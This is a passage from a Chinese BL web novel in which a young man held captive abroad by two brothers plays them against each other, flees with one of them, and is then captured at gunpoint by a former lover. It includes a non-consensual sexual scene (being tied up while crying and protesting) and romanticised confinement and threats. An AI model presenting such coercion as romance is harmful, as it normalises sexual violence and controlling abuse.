顾嘉致从地上爬起来,还是把桌子推过来:“先吃饭,饿肚子对身体不好。” 叶临白了他一眼,大声道:“去叫顾柘过来,我要他喂我吃!” 顾嘉致愣了片刻,意识到他在闹脾气,没有搭话,只是在旁边的沙发坐下来。 叶临铁了心地要犟到底。 现在逃跑不是首要计划了,而是要让顾嘉致后悔。 他要让顾嘉致痛哭流涕地跪下来,跟他道歉,后悔跟顾柘合作,那样才痛快! 过了一会儿,叶临饿得双眼发直,还是咬牙撑着,死活不出声。 顾嘉致坐在旁边看他,于心不忍,还是打电话让顾柘回来。 很快,西装革履的顾柘跑回来,进门察觉到一股火药味,立即明白叶临在跟顾嘉致冷战。 叶临听到声音,立即坐起来,看向顾柘发号施令:“我要吃饭,你去做好,再端过来喂我吃!” 顾柘:“把自己当皇帝了,还使唤我。” 叶临看向旁边的顾嘉致:“你不想被使唤,有的是人愿意被我使唤,爱喂不喂!” 顾柘知道叶临的小心思,可他就是吃这一招,就算有怨气,也会乖乖地出去端饭。 顾嘉致还是保持着坐沙发的姿势,余光注意着叶临的嘴唇干涩起皮,起身地给他倒了一杯温水,放在床头柜的位置。 叶临下意识地舔嘴唇,但就是不去拿水,盯着门口,在心里催促顾柘快点过来。 还好,顾柘很快端着新鲜的粥和小菜进来,坐在床边。 叶临指着床头柜上的水杯:“喂我喝。” 顾柘立即看向顾嘉致:“他给你倒的就不喝,非要我喂?” 叶临:“我现在看见他就恶心,不想喝。” 顾嘉致的身体僵住,神色复杂,还是没说话。 顾柘把装满水的杯子丢进垃圾桶里,重新倒了一杯递给叶临,眼神中的占有欲快要满溢出来:“既然觉得他恶心,那以后就只喝我倒的。” 叶临看着顾嘉致才把水喝完,嘴里还要黏糊糊地称呼顾柘:“我最喜欢你了,当然只喝你倒的。” 顾柘俨然变成了他们之间的一环,微微握紧勺子,沉默着将粥喂进叶临的嘴里。 叶临平时喝粥很快,现在不习惯一口一口地吃,但还是要配合着吃完。 饭后,顾柘就会拿出湿纸巾帮他擦嘴,仔细地检查每个角落。 叶临观察到顾嘉致不为所动,干脆凑过去亲顾柘,轻声道:“老公,今天晚上,你留下来陪我睡觉好吗?” 顾柘只愣了片刻,很快就反应过来,按住叶临的后脑,没让他有逃脱的机会。 房间里充斥着旖旎的气息,像是电影里的情侣亲热桥段。 顾嘉致终于忍不住站起来,朝着外面走去。 等到门关上,脸颊泛红的叶临就推开顾柘,平复混乱的气息。 顾柘故意咬破皮,尝到血就骂道:“小混蛋,故意利用我气顾嘉致是吧?” 叶临听到他直说,也懒得演戏:“对,谁让你们两兄弟都可恨,我就是故意报复!” “那看来还是顾嘉致更可恨,不然现在坐在这里的人就是他,而不是我。” “少往你脸上贴金,你比他更可恨。我利用你报复他,是因为你在我眼里是纯粹的工具。我对人还有感情,对工具是不会有任何感情了。” 叶临说话总是这样犀利,轻而易举地直击要害。 因为痛恨顾嘉致的背叛,才要用这种幼稚的方式报复。 而他对顾柘只有纯粹的恨意,就可以随意利用,完全不需要在意顾柘的感情。 顾柘捏住他的下巴:“说来说去,在你眼里,顾嘉致就是比我重要!” 叶临的眼中毫无惧色,只有端坐高位的傲慢:“到现在我还愿意利用你,你就应该感恩戴德,而不是在这里斤斤计较。” 他清楚的知道,顾柘喜欢他,渴望他的爱,就可以高高在上地发号施令。 谁让顾柘对他有所求,无论真心还是假意,都得受着。 顾柘堵住他的话,将人彻底禁锢在怀里。 像是狼发疯地撕咬猎物,看到血肉也不会罢休。 叶临的呼吸不匀,肩膀不断地发颤,十指都被扣住,难以起身。 他感觉自己被烈火裹挟,哪里都被灼烧,表皮留下深刻的痕迹。 “顾柘,你疯了,放开我!” “放开我,混蛋!” 顾柘埋首到他耳侧,压低了声音:“不是想利用我,你猜顾嘉致在不在门外听着?” 叶临的脸颊发烫,下意识地扭头,却被强行掰回来亲,又用脚去蹬。 顾柘找来领带制住他,草草地准备,很快结局干正事。 叶临立即哭了,眼泪不断地掉下来,全身都蜷缩起来,咬着牙骂:“顾柘,我恨你,早晚会让你去死!” 他的眼睛里全是恨意,仿佛将顾柘看成了死敌,绝对不会原谅。 顾柘早知道他们之间的关系,早就认命,此刻也会不会强求,只想让叶临记住自己。 窗外夜色渐浓,天空被墨色浸透,月光又似水银,慢慢的流淌。 在这静谧的空间里,只有哭声。 顾柘:“既然你想利用我,那就永远别想离开。” 第79章 第79章“以后,我只喜欢你一个人”…… 叶临醒来就后悔了。 昨天晚上被折磨了很久,现在就非常后悔勾搭上顾柘。 早知道就不负气利用顾柘了,至少第二天不会嗓音沙哑,眼眶红肿,还没力气。 操,这都怪顾柘这个混蛋。 叶临骂了几句脏话,察觉到房间里没人,又跑到窗户边往外看去。 他想观察周围有没有跟自己相同肤色发色的人,这样还有希望求救。 街道两边的商铺还没开始营业,路上也没有行人,这里似乎没有早起工作的概念。 看了十分钟,还是没有人。 叶临叹息一声,紧紧扒着窗户,眼巴巴地望着外面的世界。 顾柘端着早餐走进来,看到他只穿着睡衣就趴在窗户边。 于是走过去轻拍:“大早上的,怎么趴在这里,又想要我” 叶临本来是放松的姿态,感觉到他的手掌温度,立刻僵直了身体,耳垂泛红,大骂:“你有病啊,大早上就发神经!” 顾柘的目光游走,像是灵活的蛇类,哪里都能够照顾到。 叶临不敢呆在窗台了,连忙跑回床,盖好被子。 他警惕性地看着顾柘,做出防御的姿态,生怕这个混蛋再次靠近。 顾柘注意到细密的痕迹,终于意识到自己昨天确实过分,于是把早餐放在旁边的桌子上:“好了,先吃早餐,我对你没兴趣。” 叶临拿起碗筷,嘴里还在骂:“你还敢对我有兴趣,我就弄死你!” 顾柘端详着他吃饭的样子,像是小仓鼠在扒拉谷物,眼神专注,非常可爱,忍不住轻声笑起来。 叶临听到他的笑声,心里一阵恶寒,加紧吃饭,不敢再拖延。 顾柘奉劝他吃慢点,但是没有效果。 很快,就响起剧烈的咳嗽声。 叶临的脸颊红透了,呼吸不匀,肩膀都在发抖,看起来很可怜。 顾柘轻轻地帮他拍背顺气,再递给他一杯水,无奈道:“都说吃慢点,现在噎住了吧。” 叶临喝完水,总算舒服,但还是要理直气壮地责怪:“你就只会说,有本事阻止我啊。我被噎,还不都怪你!” 顾柘习惯他这副任性的样子,只好点头:“好好好,都是我的错,是我害你。” 叶临抬手就扇了他一巴掌,还用力踹:“本来就是你害我!” 昨天扇的巴掌还没好,现在又来一巴掌,脸颊更红了,看起来就像是被炭火烫出来的奴隶印记。 顾柘也不恼,继续收拾残局,还给叶临带来几个模型,让他在房间里拼着玩,避免无聊。 叶临把他给的模型摔地上,痛骂他不是人,就知道使用强硬的手段,早晚会遭报应。 顾柘本来还想陪他玩玩,可是身上有事,只能先行离开。 房间里又只剩下叶临一个人,安静的同时也变得宽敞。 对于喜欢宅家的人来说,这里的环境无疑是舒适的。 可是对于叶临这种喜欢骑机车绕着江面兜风的人来说,就是一种折磨。 他不喜欢被关在这里,像个被折断翅膀的小鸟,完全失去自由。 而且他还有自己的公司,也不知道梵星怎么样了,希望沈邵和楚诏能够管理好。 沈邵和楚诏会不会放弃公司,跑出国来找他? 那样就太不值当了。 还是公司更重要,他现在又没有生命危险,只要想想办法,就能回去。 顾氏兄弟虽然可恶,但是在他眼里,还是可控的。驯服他们,只是时间问题。 叶临平时很少会思考这些事情,可是经历孤独就会考虑到。 思来想去,他又拿起游戏机玩,还是没意思,只好下床把那些模型捡起来,摆在茶几上拼凑。 模型很复杂,需要很强的耐心才能够拼凑完成。 叶临并不具备十足的耐心,刚到起步阶段就生气把模型都摔了。 顾嘉致拿着果汁和甜品进来,听见响动,看向地面的模型,无奈地叹气。 他把果汁和甜品放好,蹲下来捡模型:“是顾柘给你的吧,还是没脑子,挑选的这个系列对于你来说太复杂了。” 叶临拿起一个零件摔在顾嘉致的脸上:“你在骂我没脑子,连这种模型都拼不好!” 顾嘉致只是实话实说,看到他火气大,也只能委婉地解释:“只是不太适合你。” 叶临又摔了两个零件:“你昨天晚上去哪里了?” 顾嘉致昨天听到了,心情不好,只能选择远离,现在就保持沉默。 叶临翻了白眼:“我看你是不敢回来吧,怎么,因为房间里有顾柘吗?” 顾嘉致还是没说话。 叶临故意凑近他的耳畔,昧着良心撒谎:“我觉得顾柘还是比你厉害,让我更满意,昨天我们” 顾嘉致听到他后面的直白词汇,恼羞成怒:“闭嘴!” 叶临知道他不爱听这些话,偏要说出来让他难受,这样才能把背叛的痛苦还回去:“我一叫他老公,他就会” 顾嘉致再也受不了,抬手捂住叶临的嘴,呼吸急促,声音都在发颤:“够了,不要说!” 他的演技还是没有顾柘好,很多情绪都能有从面部表情判断出来,而顾柘总是将喜怒哀乐藏住,难以分辨。 叶临终于有了点报复的畅快,眼神得意,故意品尝。 顾嘉致的手心湿润,感觉到温热,连忙松开手。 就看到叶临的舌头,呼吸停滞。 叶临眼尾微微上扬,是一种极其自信的姿态,像是法力最高强的狐狸,肚子里全是掌控男人的技巧。 顾嘉致扑过去,掐住他的脖子,尽情地索取。 空气都被搅动,像是甜腻的糖浆,不是干爽清新,而是沉重粘。稠。 雷雨前就是这样,潮湿闷热,哪怕打开风扇,都吹不走。 “你明明知道我嫉妒顾柘,还总是刺。激我。” 叶临眨了眨眼睛,俏皮而卑鄙:“因为逗你好玩啊,谁让你没有顾柘沉得住气。” 顾嘉致听过很多次别人说他比不过顾柘,他都能消化掉。 可是叶临说的不同,像是一根刺深深地扎进心里,难以拔除,每次呼吸都会疼。 “不许提顾柘!” “那你昨天还说不怕我爱上顾柘,认为我一直会恨他?其实人心都是肉长的,只要他一直对我好,我肯定会心动的。” 叶临总是能够用最自然的姿态撒谎,很难看出是真心还是假意。他怎么可能爱上顾柘,只是哄顾嘉致的把戏罢了。 “顾嘉致,你真的蛮好笑的。要是以前,你肯定是比沈邵和楚诏重要,我事事都会以你为先。现在好了,你永远都会排在顾柘的后面。” 顾嘉致听不下去,抓住叶临的衣袖的手微微用力,神情痛苦。 叶临清楚地明白,扇了几巴掌就该给颗甜枣,于是主动抱住顾嘉致:“带我离开这里,回国后,我只喜欢你一个人好不好?” 顾嘉致听到这句话,就像是在黑暗中看到一束光亮,下意识地靠近,结果发现是危险的火焰,又犹豫。 叶临以前不舍得欺骗顾嘉致,那是拿他当兄弟。 现在都被人背叛了哪还有情谊,语气轻柔地继续加码:“你不是说喜欢我吗,我现在接受你,怎么没反应了?” 顾嘉致尚且存在一丝理智:“你拒绝我告白的时候那么坚决,现在怎么又突然同意了,是有利可图吧。” 叶临恨不得锤死他,绞尽脑汁地想借口:“我一直把你当兄弟,怎么可能一下子就接受你的爱意,肯定要缓冲一段时间啊。 本来在国内的时候,我们出去应酬,完成了很多订单。我对你已经有所改观,马上就要接受你,谁知道你突然背叛我,跟顾柘干出这种破事。” 顾嘉致听他这样说,都产生了愧疚之心。 “现在只要你带我回国,我们就谈恋爱。要是你爸妈接受我们的话,就结婚,从今以后只有彼此,再也没有其他人。” 正式谈恋爱,步入婚姻的殿堂,这是多么美好的情话。 更何况是从叶临嘴里说出来,像是伊甸园的苹果。 “那回国之后,你要跟我住在一起,以后不能跟沈邵和楚诏有纠葛,更不能*背着我去会所找男模。” “那肯定啊,谈恋爱就是要一心一意,只对你好。有了你,我怎么可能会看上别人。而且你还知道我的秘密,我当然不敢背弃你。” 叶临说到这里,又亲了顾嘉致,把那些男人对他说过的情话全部说出来。 顾嘉致原本暗淡的眼眸重新焕发光彩,心跳随之加速。 理智告诉他,叶临是个最会用糖衣炮弹骗人的小魅魔,可强烈的情感又促使他去相信。 完整地拥有叶临一个人的爱,这比什么都要诱人。 只是目前在国外还不稳定,而且很多事情都是顾柘在操控,需要花时间谋划才能顺利出逃。 顾嘉致向他许诺:“你给我点时间,我会想办法把你带回去。” 叶临理解他的能力有限:“好,那你小心点,千万别被顾柘发现,他不好对付。” 他们额头抵着额头,许下此生永相守的诺言,像是无数对策划私奔的情侣,满腔热血。 只是一人满心欢喜,一人满心算计,很难如意。 夜里顾柘没有进房间,换成顾嘉致守着叶临。 似乎是早就达成好的协议,一人一天,彼此互不干扰。 叶临这段时间都会小心地观察顾柘的表情,还好并没有变化,这证明顾柘没发现他和顾嘉致的计划。 随之时间流逝,总算换了一处住所。 是一座建在海边的别墅,院子里种满高大的紫杉,全部都修剪成椭圆状,整齐地排列,形成宽敞的大道。 绿色的草坪上还有几块乱石,看起来像是没雕刻完成的石像。 别墅四周有五六米高的围墙,以及随处可见的武装保镖,安全系数比之前的小房子高不少。 叶临可以在院子和别墅里自由活动,要想出去逛街,需要有顾嘉致或是顾柘陪同。 总算不用闷在房间里,可以获得一些自由。 新房间比之前更为宽敞,床也更大,可以容纳四五个人,还有可以欣赏院子风景的大型落地窗。 站在落地窗,入目皆是深厚的墨绿色,远一些就是湛蓝色的海面,上面漂浮着白色的泡沫。 房间里的家具大都是黑白灰三色,比较单调沉闷,看起来没多少乐趣。 应该是顾柘的装修品味,顾嘉致也不知道帮着选。 叶临在内心默默地吐槽完,就跟着顾柘去停车场。 停车场有一辆白色的机车,造型像是猎豹,威武帅气。 机车是他最喜欢的牌子,还做了很多符合他喜好的改装。 顾柘告诉他,可以骑着这辆车在院子里逛,如果要出去,就得有人陪同。 这个别墅自带的院子已经足够宽敞,绕着骑一圈都有几十公里,出去沿着海面骑就更有意思了。 顾柘摸着机车上的标识:“之前没有处理好杂事,所以只能让你呆在那个房间里。 现在全都解决了,你就可以骑车兜风,这个小镇都是富人,环境是安全的。” 叶临难以置信,试探性地问:“你就不怕我骑车跑掉?” 顾柘把车钥匙递给他:“你又不认路,有什么好怕的。不过我可提醒你,安全范围有限,别出去,很危险。” 叶临接过钥匙,上车沿着院子转了一圈,久违地跟风贴面,心情愉悦。 他还不满足于此,又要求顾柘陪着他出去兜风。 顾柘开了一辆赛车,陪在他旁边,告诉他哪里是安全的,哪里是危险,以后出门需要注意的事项。 兜风了三个多小时才回去。 叶临肚子饿,停车完就直奔饭厅。 厨师早就做好了饭菜,端到饭桌上,坐下来就能吃。 顾柘知道他会饿,早就提前打电话给厨师,要求他们做饭,刚好回来就能吃。 饭菜都是叶临喜欢的口味,不能跟国内的相比,可是对比之前在小房子里,已经很不错了。 顾嘉致忙碌完回来,刚进门就注意到顾柘坐在饭桌对面的吧台,静静地看着叶临,眼里流露出满意和满足,像是在养某种宠物。 叶临无知无觉,吃完饭擦嘴,还跑到顾柘面前,要求买其他牌子的机车。 顾柘拿出本子给他写下来,盯着他的嘴唇看,时不时就亲一下,像是小鸟在啄食。 叶临嫌弃地擦嘴,还是继续写,嘴里骂骂咧咧的。 顾柘笑起来,又摸摸他的头,揉乱头发丝,说了一些话。 顾嘉致大步走过去,拿开顾柘的手,低头去问叶临还想要什么,他都会买。 叶临只想要机车,听他这样说,要求学习当地的语言。 如果学会了语言,就能自己想办法跑出去。 顾嘉致很快就应下来,保证一个月以内教会他。 顾柘的神色复杂,盯着他们两个人看,笑而不语。 可是才过三天,语言教学就遇到了重大困难。 顾嘉致发现,自己不管怎么教,叶临就是记不住,学不会,烦躁地挠头。 叶临发现,顾嘉致根本不是个好老师,说话没有逻辑,教学枯燥,听得他头疼。 到了晚上,两个人就语法的事吵架。 “为什么,你吃饭和我吃饭的用法不同,好烦!” “那这门语言就是这样规定的啊,你背下来就好了。” “可什么都要我背,我背不完的!” “多花时间背就好了,这有什么难的。” 顾嘉致拿过纸笔,跟叶临分享自己背东西的诀窍,保证他很快就能记住。 叶临压根听不进去,指着上面的语法骂:“过去完成时和现在完成时,这是人类能想出来的语言吗,离谱!” 顾嘉致叹息一声:“唉,别抱怨,多背多练就学会了。” 叶临不爱学习,尤其是外语,将书本扔到顾嘉致的脸上发脾气:“你根本不理解我的痛苦,我恨死你了!” 顾嘉致当老师也很痛苦,被他骂更憋屈了,忍不住回怼:“我怎么知道你水平这么差,讲很久都不懂,服了!” 叶临彻底爆发,站起来用书怒拍顾嘉致的头:“你才差劲,你哪里都差劲,我从来没有见过像你这样差劲的男人!” 顾嘉致推开书,大声质问:“你说什么!” 叶临冷哼一声:“本来就是,你是我身边最差劲的一个。要厨艺没厨艺,要技术没技术,就连教书这么简单的事情都都做不好,有什么用!” 顾嘉致毫不留情地嘲讽:“我差劲?明明是你蠢,正常人早就学会了。” “顾嘉致,你才是全世界最蠢的笨蛋,不知道被我玩弄了几回,还敢在我面前装大爷!” 叶临朝着他猛踹一脚,把桌上的所有东西都扫到地上,势必要跟顾嘉致打一架。 这时,顾柘走进房间,拦在他们中间充当和事佬,好言劝架。 顾柘瞥了地上的顾嘉致,嫌弃道:“你几岁了,还这么幼稚,非要跟跟叶临计较。 叶临肯定是聪明的,就是你的教学方式有问题,才不能教会他。” 叶临难得认为顾柘顺眼,骄傲地昂起头,同意顾柘的看法。 顾嘉致被顾柘提醒,才发现自己刚刚的行为多么荒谬,跟叶临就像两个小学生吵架。 可他跟叶临待在一起,就是容易控制不住,总喜欢较真幼稚。 顾柘收拾好书本,坐下来跟叶临授课。 他不强求叶临记住复杂的语法,只会用叶临熟悉的游戏举例子,告诉他基本的打招呼怎么说。 教完以后,他还让叶临玩游戏复习,跟他多多练习。 过了两个小时,叶临学会了十个短句五个长句,专门用于打招呼。 顾嘉致在旁边看到他洋洋得意的样子,心里不爽。 顾柘:“我的方法只针对天才,你这么快就学会了,看来是个天才。” 叶临嘿嘿地笑起来:“我本来就是个天才,传统的教学方式只针对笨蛋,不适合我。要是我早点遇到你,早就考上大学了!” 顾柘趁他高兴,赶紧将他搂进怀里亲,连声附和。 叶临又扭头去看顾嘉致,出言嘲讽:“怪不得别人都说你是天才,你弟弟是笨蛋。他教不会我,就你能教会我,我们都是天才。” 顾嘉致恨得牙痒痒,差点想起来收拾他。 顾柘帮他蒙上眼睛,轻声道:“好了小天才,我们来做个益智游戏,帮你巩固今天的知识点。” 叶临以为他要考自己刚刚的语法点,正襟危坐,开始回忆刚刚教的长短句。 顾柘提问“晚安”怎么说,他轻松答出来。 顾柘提问“亲爱的”怎么说,他也能答出来,只是声音发颤。 顾嘉致也加入了提问行列,考他“早上好”用外语该这么说。 叶临急红了脸,想了又想,总算回忆起来:“Goodmorning!” 顾柘不满意,凑近去纠正他的发音:“宝宝不要这样说,舌头卷起来抵住下齿,发音才标准。” 叶临刚想按照他说的做,却发不出声音。 顾嘉致在身后提示他今天的学习内容,帮助他作弊。 可是叶临的脑袋太小了,哪里能够容纳这么多知识,哪怕听到短语提示都想不起来。 他像个想装优等生的学渣,被老师拆穿后,脸通红,肩膀都在发抖。 在这宁静的夜晚,紫杉颤抖着,伫立于月色之中。 月光下的紫杉,被银辉轻柔地勾勒,闪烁着幽微光泽。 既非暗绿,也非银白,而是同时融合了月光和夜色的独特色调,朦胧中透着一股不可言喻的暧昧。 顾柘还让叶临用外语猜出彼此,如果说错了,就会受罚。 叶临这个小学渣太笨了,分不清Mr.Zhe和Mr.Jia,总是叫错。 房间里像是有夜莺在鸣叫,声声泣泪,断断续续的,听起来很可怜。 次日,阳光照进这座别墅里,很久都没有人醒来。 直到中午,保姆端着饭菜敲门,顾柘才醒过来。 他接过饭菜,在桌上摆好,就把窗帘拉开。 明亮的阳光照进来,刺得叶临眼皮疼,张嘴就骂:“操,快把窗帘关上!” 顾柘故意逗他:“你要用昨天我教你的话说。” 叶临想到昨天的混乱,心里就窝火,踹了旁边的顾嘉致一脚:“学个屁,老子再也不想学外语了!不对,是不学鸟语!” 顾嘉致猛然惊醒,听到叶临的话,笑着嘲讽:“不是说顾柘的方法很好,几天就能速成大师吗?” 叶临抬手扇了他一巴掌,走到桌子边吃饭,不想搭理这两个混蛋。 他果然说到做到,连续七天都不学外语。 对于学渣来说,好不容易鼓起勇气学习,结果被戏弄,短时间内无法燃起学习的想法。 顾柘要的就是这个效果,安心地离开,去忙碌正事。 他在国外也有事业,但为了养叶临还需要更多钱,现在就得多多操心。 至于顾嘉致就留在家里陪叶临,反正掀不起什么风浪。 傍晚,晚霞轻纱般笼罩海面,天边有橙红、紫罗兰淡蓝交织,将海面映照得如梦似幻。 海水闪烁着金色的光芒,宛如无数细碎的宝石散落其间。 叶临骑车兜风回来,站在二楼的观景台看海面的落日,手边是美味烤肉。 顾嘉致突然闯进去,着急忙慌地把他拽起来:“现在就走,我已经联系好人了。” 叶临才想起来,只爱拜托顾嘉致带自己逃跑,连忙询问:“你买好回国的机票了吗,多久到?” 顾嘉致牵着他的手往外跑,跟他解释自己的计划。 他精心谋划了好几个月,只要乘船离开这个岛,到达事先准备好的机场,就能溜回国。 为了避免被顾柘发现,行程会比平时慢几天,大概五天后到达国内。 并且顾父顾母失去了两个儿子,看到小儿子回来,哪怕小儿子要跟叶临结婚,也会同意。 顾嘉致认为自己的计划天衣无缝,刚好顾柘的生意遇到麻烦需要很长时间处理,而他的谨慎安排,也能让回国之旅平安顺遂。 最关键的是,消失的时间长了,顾父顾母就会在他的婚事上妥协。 只要结婚,顾柘就再也没有理由纠缠叶临,哪怕非要死缠烂打,他也有办法。 现在万事俱备,只欠东风。 上车后,他们开出庄园就飙速,很快到达海岸。 此时天色已经暗下来,暗蓝色的海面起伏不定,月光也透不进来。 是一艘小渔船,看起来安全系数不高。 叶临刚上船的时候,船身就开始剧烈摇晃,莫名有了不好的预感。 他看向兴致冲冲的顾嘉致:“你确定你的计划没问题吗?” 顾嘉致跟他解释了这艘渔船可以掩人耳目,还能够顺利地通过前面的海峡,天亮就能到达机场。 掌舵的渔夫也告诉叶临,今天晚上的天气很好,可以平安地通过海峡,到达对面的大陆。 叶临很想回去看看梵星的情况,听了他们两个人的保证,强行压下心里的担忧,慢慢地坐下来。 这艘渔船的速度很快,没一会儿身后的海岛就变成了小点,再也看不清。 夜里的风很凉,吹在身上会起鸡皮疙瘩。 顾嘉致找出一件毛毯,将叶临裹住,抱着他说话,规划他们的美好未来。 他要为叶临举办最盛大的婚礼,让所有人都知道他们是两情相悦的新婚夫夫,还得邀请情敌们参加,让他们嫉妒死。 婚后,他和叶临先度蜜月,再回归工作。就算是要工作,也必须是同公司同部门,绝对不能分开。 他们会一起做饭,购买家里的生活用品,闲暇时间打游戏,或者去各地旅游,就这样幸福到老。 顾嘉致:“前段时间跟顾柘那样对你,并非我所愿,都是为了消解他的警惕心,我只想一个人跟你白头到老。” 叶临:“我知道,顾柘不好对付,你只能勉强自己。” 耳边传来海浪声,乌云散开,月光洒在海面上,像是细碎的钻石,熠熠生辉。 不远处的山峦,犹如毛笔勾勒出来的,朦胧温柔。 风也变得柔和,不再寒冷,像是令万物复苏的春风。 顾嘉致同他十指相扣:“你说度蜜月要去哪里?” 叶临像是触电一般,猛然惊醒:“你,你怎么跟梁文乐一样,就知道问我去哪里度蜜月?” 顾嘉致的手指用力握紧:“是吗,当初梁文乐也问了你去哪里度蜜月,他是怎么说的?” 叶临回忆起在那辆婚车的情景,脑子里闪过很多奇怪的地名,以及梁文乐出国那天的表情。 是幽怨潮湿的,像是刚从水里爬出来的鬼,要把人拖进阴曹地府里。 心脏陡然悬起,整个人都开始不安。 叶临看向来时路的,是灰蓝色的海面,没来由地冒出一句:“要不然我们回去吧,我有不好的预感,好像前面有什么危险等着我们。” 顾嘉致以为他心里还念着梁文乐,忍不住吃醋:“怎么,都过去这么久了,你忘不掉梁文乐?” 叶临听到呜呜的风声,像是听见鬼叫,吓得捏紧身上的毯子,“我,我是怕遇到他。 我们还是回去跟顾柘商量商量吧,感觉他最近挺好说话的。只要我哄哄他,就会同意我回国。” 顾嘉致更不爽他念着顾柘:“你以为顾柘是什么好人吗,他才不会愿意带你回去,就只有我拿你没办法,让做什么就做什么。” 渐渐的,能够看见不远处的码头。 云层再次合拢,挡住月光,海面阴沉沉的,深处像是藏着某种恐怖的巨大生物。 人对于潜在的坏事是有预知力的,就像是没写作业的时候,能感觉到老师要下一刻要点自己的名字。 叶临越来越紧张:“我觉得顾柘靠谱,还是去找他商量吧。而且他也挺好对付的,我都摸清楚他的性格了。” 顾嘉致怒道:“你的意思是说,我没有他靠谱!?” 叶临不知道该怎么解释,明明已经是深夜了,早该出现困意,可并不困,这就很诡异了。 顾嘉致看他的神情慌张,以为被自己吓到,只好缓和语气:“回程是逆风,在夜里行船不安全,先靠岸再说吧。” 叶临点点头,让他上岸就联系顾柘。 船靠岸后,有四五个人来接应,都是顾嘉致的心腹。 他们把车停在不远处,只要坐上去,天亮就能到达机场。 叶临刚下船就感觉腿软,还是被顾嘉致扶着才能站稳。 他看着周围的环境,发现很多排树,在黑夜里像是枉死的鬼,催促顾嘉致快点走。 刚走了一会儿,就听见近处响起枪声。 那辆车突然被一辆黑色的吉普撞弯,紧接着四周就开始出现许多高大的男子。 顾嘉致连忙挡住叶临身前:“快朝你左手边跑,那里还有一辆白色的车!” 叶临立即拿出百米冲刺的速度跑起来,不要命地往前冲。 万幸,这些男子手里有枪,却没有向他射击,更没有阻拦他。 应该是顾柘的手下吧,所以不会伤害到他。 叶临听到呼啸的风声,双腿发酸,终于看到一辆车。 然而那是一辆红色的车,在黑夜里像是刺目的鲜血,可怖吓人。 叶临转过身想跑,却发现四周皆是高大强壮的男子,已经组成人网将他圈住。 他听到身后传来脚步声,沉重而缓慢。 有个穿着白色西装的男人走到他面前,手里拿着枪,步伐优雅。 他是混血的长相,五官精致立体,眼眶深邃,左眼有颗泪痣,像是中世纪的吸血鬼。 叶临的脑海里猛然响起一句话,浑身的血液都凉了。 “叶临,你最好祈祷两年后我不爱你了,否则我一定会让你付出沉重的代价。” 第80章 第80章“文,文乐!” “文,文乐?” 叶临下意识地往后退,结果看见梁文乐举起枪。 紧接着他的左脚边就响起枪声,火星四溅。 叶临连忙往右边躲,吓得脸色发白,不可置信地看向面前的男人。 许久未见,梁文乐的脸上已经褪去精致,多了戾气,眼神冰冷,像是索命的死神。 漆黑的枪口正对着叶临的眉心位置,只要被击中就会死亡。 梁文乐轻声笑了一下,语气温柔:“再退后的话,会死哦。” 叶临听到他的话,浑身僵硬,尝试着说好话:“文,文乐好久不见了。” 梁文乐没放下枪,慢慢地走到他的跟前,枪口抵住眉心:“是好久没见了。” 叶临还能感觉到枪口残留的余热,虽然没被击中,但已经能想象出自己被打得脑浆四溅的惨状,语气都紧张起来:“文,文乐,把枪放下好不好,很危险。” 梁文乐手指微微往下压:“危险吗?” 叶临的心脏陡然提起来,惊恐大叫:“文乐,别乱来,会死人的!我死了,你也不好过。” 梁文乐松开手,用枪口去抬他的下巴,注视着那张曾经将他迷得神魂颠倒的脸:“我为什么会不好过,你以为时隔这么久,我还会喜欢你?” 叶临又想到自己的下巴被崩飞,血肉模糊的情景,害怕地闭上眼,声音发颤:“我,我就是担心我死了,你会面临牢狱之灾,这得不偿失。” 梁文乐冷笑两声,嘲讽他的蠢笨,放下枪命令旁边的人上前将叶临的双手拷住。 枪声终于停止,码头恢复寂静,空气中弥漫着浓重的硝烟味。 叶临抬眼去看前面,没有找到顾嘉致的身影,不由得担心。想出声询问,又怕梁文乐打死自己,只好暂时闭嘴。 梁文乐打开车门,坐到后排,看到叶临呆若木鸡,没有任何行动,冷哼一声:“上车!” 叶临怀疑自己幻听了,神情错愕,还没反应过来。 梁文乐拍了旁边的位置:“自己滚过来,难道还要我抱你!” 叶临总算听明白了,急匆匆地跑过去,迅速上车,在他旁边坐下来。 前排有两个高大的黑衣人,一个负责开车,一个拿枪警戒,总之都是不好惹的打手。 车门关上的瞬间,他就像是被隔绝在黑色的笼子里,再也见不到光明。 叶临偏头去看旁边的梁文乐,仔细观察他的表情,想像以前一样,判断他的心情。 可是现在的梁文乐面无表情,很难判断出来,难猜心思。 不过面对梁文乐,说好话总归是有用的吧。 “文乐,你今天晚上突然出现,搞这么大的阵仗,是为什么啊?” “报复你。”梁文乐都没有转头去看叶临,只是摸着手里的枪。 叶临见状,顿时说不出话。他人在国外,梁文乐手里还有真枪,是真害怕。 梁文乐从小被惯坏了,没有控制脾气的能力,生气就能失手把他杀了。 既然是想报复他,无非就是报复他以前欺骗梁文乐感情的事。 只要是感情,应该还有转圜的余地,不至于死。 可梁文乐对他还有多少情感呢?如果全是恨意,那他也凉凉了。 如果还有爱,只要他像从前一样略施小计,就能把梁文乐哄正常。 现在必须想办法试探梁文乐的底线在哪里。 叶临思考完,小心翼翼地移动,想靠近梁文乐。 然而他刚挪动一步,就被梁文乐警告。 “你再靠近,我就把你的胳膊卸了。” “对不起。”叶临小声道歉,疯狂地往窗边挪,恨不得贴到车窗上,一点位置都不占。 “坐回来,想被丢下车吗!”梁文乐仍旧盯着车前方,握紧手里的枪,没有偏头看叶临。 “可是文乐讨厌我,我就只能往旁边退,尽量减少自己占的位置,这样文乐会高兴点吧。”叶临的声音越来越小,像是被欺负了不敢出头的怂包。 实际上他才是那个负心人,却总能装成无辜可怜的样子。 梁文乐没说话,暗自咬牙,把玩枪尾。 “原来,文乐一直在观察我。”叶临坐回原本的位置,很小声地吐槽。他还贴心地删掉“偷偷”这个词,维护梁文乐的脸面。 “你!”梁文乐终于绷不住,扭头去看叶临。 很想把这个戏精扔下车,可是看到叶临吓得缩紧脖子,瑟瑟发抖的模样,像是雨中淋湿,无家可归的小奶猫。 罢了,还没报复完,怎么能半路丢下。 “安静,再说话,我就把你的舌头割了。” 叶临听到梁文乐的警告就闭紧嘴,脑子里盘算着怎么逃脱。 现在他可以确定了,梁文乐心里对他还有爱意,这就不会死。 难办的是,怎么让梁文乐心甘情愿地送他回国? 要不然退一步,想办法联系顾柘? 也不行,顾柘是个疯子,知道他跟顾嘉致跑了,肯定不会善罢甘休。 不可能再找顾嘉致谋划了,他现在非常不信任顾嘉致的能力。 思来想去,只能继续骗梁文乐。 远处的天际线,隐约地透出一丝微弱的光亮,宽阔的海面也开始泛起了层层金色的碎光。 车停在一处巨大的庄园前,里面的别墅占地面积广,采用欧式古堡设计,看起来巍峨悚然。 